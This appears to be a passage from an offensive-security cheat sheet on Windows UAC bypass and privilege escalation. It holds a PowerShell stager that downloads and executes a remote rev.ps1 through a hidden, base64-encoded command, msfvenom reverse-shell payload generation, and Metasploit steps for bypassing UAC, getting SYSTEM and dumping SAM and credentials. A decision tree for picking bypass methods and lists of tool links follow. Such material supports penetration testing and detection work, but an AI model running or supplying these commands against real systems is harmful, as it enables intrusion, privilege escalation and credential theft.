$ip   = (ip addr show eth0 | grep "inet " | head -1 | awk '{print $2}' | cut -d/ -f1)
$text = "(New-Object Net.WebClient).DownloadString('http://$ip/rev.ps1') | IEX"
$enc  = [Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($text))
Write-Host "powershell.exe -w hidden -e $enc"

Metasploit Quick Reference

# Generate payload
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=eth0 LPORT=4444 -f exe -o p.exe

# Auto-detect best UAC bypass for target
msf6 > use post/multi/recon/local_exploit_suggester
msf6 post(local_exploit_suggester) > set SESSION 1
msf6 post(local_exploit_suggester) > run

# Quick bypass chain (adjust module as needed)
msf6 > use exploit/windows/local/bypassuac_fodhelper
msf6 > set SESSION 1; set LHOST eth0; set LPORT 4444; run

# After elevation → get SYSTEM
meterpreter > getsystem
meterpreter > load kiwi
meterpreter > lsa_dump_sam
meterpreter > creds_all

UAC Level Decision Tree

Check ConsentPromptBehaviorAdmin value:

UAC enabled?
│
├─ EnableLUA = 0 (UAC OFF)
│   └─ No bypass needed → PsExec -s directly → SYSTEM
│
├─ ConsentPromptBehaviorAdmin = 0 (No prompt)
│   └─ No bypass needed → just run elevated process
│
├─ ConsentPromptBehaviorAdmin = 5 (DEFAULT — most common)
│   │
│   ├─ Fastest / least tooling:
│   │   └─ fodhelper or eventvwr registry hijack (3 reg commands + launch)
│   │
│   ├─ Avoiding PS / registry detection:
│   │   └─ SharpBypassUAC -b computerdefaults (in-memory .NET)
│   │
│   ├─ Metasploit session:
│   │   └─ bypassuac_fodhelper or bypassuac_injection_winsxs (in-memory)
│   │
│   └─ Need SYSTEM directly (skip High):
│       └─ UACME method 30 (wow64log.dll → WerFault → SYSTEM)
│
└─ ConsentPromptBehaviorAdmin = 2 (Always Notify — hardened)
    │
    ├─ SilentCleanup + windir environment hijack
    ├─ Token duplication from accessible elevated process
    └─ UACME method 70

References & Tools

Primary Research Tools: - UACME — https://github.com/hfiref0x/UACME (65+ bypass implementations) - SharpBypassUAC — https://github.com/FatRodzianko/SharpBypassUAC - TokenPlayer — https://github.com/S1ckB0y1337/TokenPlayer - byeintegrity5 — https://github.com/AzAgarampur/byeintegrity5-uac (env var bypass) - byeintegrity8 — https://github.com/AzAgarampur/byeintegrity8-uac (reg symlink evasion)

Metasploit Modules: - exploit/windows/local/bypassuac_fodhelper - exploit/windows/local/bypassuac_eventvwr - exploit/windows/local/bypassuac_sdclt - exploit/windows/local/bypassuac_silentcleanup - exploit/windows/local/bypassuac_injection_winsxs - exploit/windows/local/bypassuac_comhijack

Detection Resources: - Elastic Security Labs — Exploring Windows UAC Bypasses: Techniques and Detection Strategies https://www.elastic.co/security-labs/exploring-windows-uac-bypasses-techniques-and-detection-strategies - MITRE ATT&CK T1548.002 — https://attack.mitre.org/techniques/T1548/002/ - SwiftOnSecurity Sysmon Config — https://github.com/SwiftOnSecurity/sysmon-config

Further Reading: - James Forshaw (tyraniddo) — UAC internals series: https://tyranidslair.blogspot.com - UAC bypass by mocking trusted directories — https://medium.com/tenable-techblog/uac-bypass-by-mocking-trusted-directories-24a96675f6e - Red Team Notes — https://www.ired.team/offensive-security/privilege-escalation/t1548.002-bypassing-uac-with-fodhelper - Hacking Articles — Windows Privilege Escalation: Bypass UAC — https://www.hackingarticles.in/windows-privilege-escalation-bypass-uac/


← Windows top ↑